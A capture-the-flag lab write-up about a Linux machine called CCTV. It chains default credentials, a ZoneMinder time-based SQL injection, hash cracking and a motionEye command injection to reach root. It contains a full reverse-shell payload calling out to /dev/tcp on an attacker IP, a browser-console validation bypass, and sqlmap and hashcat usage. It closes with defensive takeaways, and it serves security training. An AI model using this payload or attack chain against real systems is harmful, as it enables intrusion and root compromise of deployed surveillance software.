CCTV
Difficulty: Easy | OS: Linux
Introduction
This machine demonstrates how chaining two recent vulnerabilities in ZoneMinder and motionEye leads to full root compromise. Starting from default credentials, a time-based SQL injection (CVE-2024-51482) was used to extract user hashes, followed by credential reuse and an OS command injection (CVE-2025-60787) to gain root access.
This walkthrough covers a realistic attack chain from initial access all the way to full system compromise.
1. Reconnaissance
The engagement began with standard service discovery. A quick nmap scan revealed two open ports:
1 | ┌──(kali㉿kali)-[~] |
- Port 22 (SSH): OpenSSH 9.6p1
- Port 80 (HTTP): Apache 2.4.58
After adding cctv.htb to my /etc/hosts file, I navigated to the web server and was greeted by a ZoneMinder v1.37.63 login page.

In a classic “low-hanging fruit” moment, default credentials (admin:admin) worked perfectly, granting me access to the console. This highlights a common real-world misconfiguration where publicly exposed services rely on unchanged default credentials, effectively bypassing authentication controls.
2. Exploitation — CVE-2024-51482 (ZoneMinder Time-Based SQLi)
Knowing that ZoneMinder has had its share of vulnerabilities, I looked for recent CVEs and identified CVE-2024-51482, a time-based blind SQL injection in the tid parameter.
Root Cause
The vulnerable code lives in web/ajax/event.php:
1 | case 'removetag' : |
$tagId is concatenated directly into $sql without any parameterization or sanitization. Since no output is reflected back to the user, exploitation relies on time-based techniques (e.g. SLEEP()) to infer data through response delays — a boolean/time-based blind injection.
Vulnerable endpoint:
1 | http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1 |
Dumping the Database
To exploit this, I grabbed my ZMSESSID cookie (F12 → Inspect → Application tab → Storage → Cookies) and fired up sqlmap:
1 | ┌──(kali㉿kali)-[~] |
sqlmap identified the injection point by detecting delayed responses, confirming a time-based blind SQL injection. This method is inherently slow since each bit of data is inferred through timing differences rather than direct output — but it got there:
1 | [16:54:16] [INFO] resumed: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApWxcIFQcURnm5N.rhlULwM0jrtbm |
Three bcrypt hashes recovered: superadmin, mark, and admin.
3. Cracking and Lateral Movement
I focused on mark‘s hash. The extracted hashes were bcrypt, which is intentionally slow to resist brute-force attacks. Using hashcat with rockyou.txt, the password for user mark was successfully cracked:
1 | ┌──(kali㉿kali)-[~] |
1 | Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix)) |
Password for mark cracked as opensesame — indicating weak password selection despite strong hashing. Strong hashing alone is insufficient if users choose predictable passwords.
With these credentials I established an SSH session:
1 | ┌──(kali㉿kali)-[~] |
Once inside, I checked for internal services with ss -tlnp and discovered motionEye running locally on port 8765. This demonstrates a common security assumption: services bound to localhost are considered safe. However, once SSH access is obtained, these internal services become reachable and exploitable.
To reach the dashboard from my local machine, I set up an SSH tunnel (used local port 8766 since 8765 was already taken on my machine):
1 | ┌──(kali㉿kali)-[~] |
Navigating to http://127.0.0.1:8766 brought me to the motionEye login page.
4. Privilege Escalation — CVE-2025-60787 (motionEye Command Injection)
To log in as admin, I read the motion.conf file on the target, which contained the admin password:
1 | mark@cctv:~$ cat /etc/motioneye/motion.conf |
Root Cause
CVE-2025-60787 is a command injection vulnerability in motionEye. The web UI accepts arbitrary strings for fields such as Image File Name and writes them directly into /etc/motioneye/camera-*.conf. When motionEye restarts the underlying motion binary, these fields are treated as shell-expandable — so injected $()/backtick syntax executes as a shell command.
1 | Dashboard (Web UI) |
The web UI has client-side only JavaScript validation blocking shell metacharacters in the filename field — the server never re-validates the input. This is a classic trust boundary violation.
The Bypass
I opened the browser console (F12) and redefined the validation function so it always passes:
1 | configUiValid = function() { return true; }; |

With the restriction lifted, I injected a reverse shell payload into Still Images → Image File Name, keeping the required .%Y-%m-%d-%H-%M-%S suffix so the field still “looks” valid to the app:
1 | $(python3 -c 'import os;os.system("bash -c \"bash -i >& /dev/tcp/10.10.15.36/4444 0>&1\""')).%Y-%m-%d-%H-%M-%S |
The payload is wrapped in $() to force command execution in a subshell, while preserving the filename format expected by the application.

Triggering Root
The payload only executes when a snapshot is actually taken. Since motion runs as root, this is the critical misconfiguration that enables privilege escalation — any command executed through this interface inherits root privileges, turning a simple command injection into a full system compromise.
I triggered the snapshot via the internal API:
1 | mark@cctv:~$ curl "http://127.0.0.1:7999/1/action/snapshot" |
Immediately, my listener caught the connection:
1 | ┌──(kali㉿kali)-[~] |
whoami → root. Full system compromise.
Security Impact
This attack chain demonstrates how multiple low-to-medium severity issues combine into a critical compromise:
| Stage | Technique | CVE |
|---|---|---|
| Initial access | Default credentials (admin:admin) on ZoneMinder |
— |
| Credential exposure | Time-based blind SQL injection in tid parameter |
CVE-2024-51482 |
| Account compromise | Weak password, bcrypt hash cracked via hashcat + rockyou.txt | — |
| Attack surface expansion | Localhost-only motionEye service reachable post-SSH via tunnel | — |
| Remote code execution as root | Client-side-only validation bypass → command injection in filename field | CVE-2025-60787 |
This shows how chaining vulnerabilities is often more dangerous than individual flaws, as attackers rarely rely on a single point of failure.
Key Takeaways
- Default credentials are still a top-tier real-world risk. Any publicly exposed admin panel with unchanged defaults is an instant foothold.
- Never build raw SQL from user input.
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"is all it takes — parameterized queries would have closed CVE-2024-51482 entirely. - Localhost-bound services aren’t inherently safe. Once any form of shell access (even a low-privilege one) is achieved, “internal-only” services become part of the attack surface.
- Client-side validation is not a security control. motionEye’s filename sanitization lived entirely in JavaScript — trivially bypassed from the browser console. The server must re-validate everything it will later execute or interpret.
- Never let a privileged process (
motionas root) act on unsanitized, attacker-influenced config values.
Have a nice day, and see you in the next writeup!
Any feedback in the comments section is very appreciated. 🙏





